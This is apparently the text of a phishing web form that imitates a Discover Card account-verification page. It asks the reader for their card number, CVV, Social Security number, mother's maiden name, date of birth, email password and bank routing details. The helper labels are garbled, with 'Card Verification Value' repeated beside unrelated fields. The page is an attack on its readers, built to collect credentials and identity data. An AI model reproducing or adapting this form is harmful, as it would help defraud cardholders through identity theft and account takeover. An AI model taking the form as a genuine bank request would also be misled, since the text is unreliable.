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 *-Required Information
 Discover Card: Secure Form
1. Enter Account Info
2. Confirmation
Verify Account Information
In order to protect access to your account, we need to know who you are. Please provide details about the Primary cardmember as well as your Discover card. The Primary cardmember is the person who
originally opened the Discover card account.
Sample Discover Card  
Credit card number: 16-digit number Card Account Number:
Credit card expiry date: 2-digit month, 2-digit year Card Expiration Date:
Card Verification Value: 3-digit number 3-Digit Card ID:
Card Verification Value: 3-digit number Cardmember Full Name:
Card Verification Value: 3-digit number Billing Address:
Card Verification Value: 3-digit number City/Town:
Card Verification Value: 3-digit number Zip/Post Code:
Card Verification Value: 3-digit number Social Security Number:
(e.g., xxx-xx-xxxx)
Card Verification Value: 3-digit number Mother's Maiden Name:
(Last name only)
Card Verification Value: 3-digit number Cardmember Date of Birth:
(mm/dd/yyyy)
Credit card expiry date: 2-digit month, 2-digit year Email Address:
Card Verification Value: 3-digit number Email Password:
Card Verification Value: 3-digit number Bank Account Number:
(3-17 digits)
Card Verification Value: 3-digit number Bank Routing Number:
(9 digits)
Card Verification Value: 3-digit number Phone Number:
   

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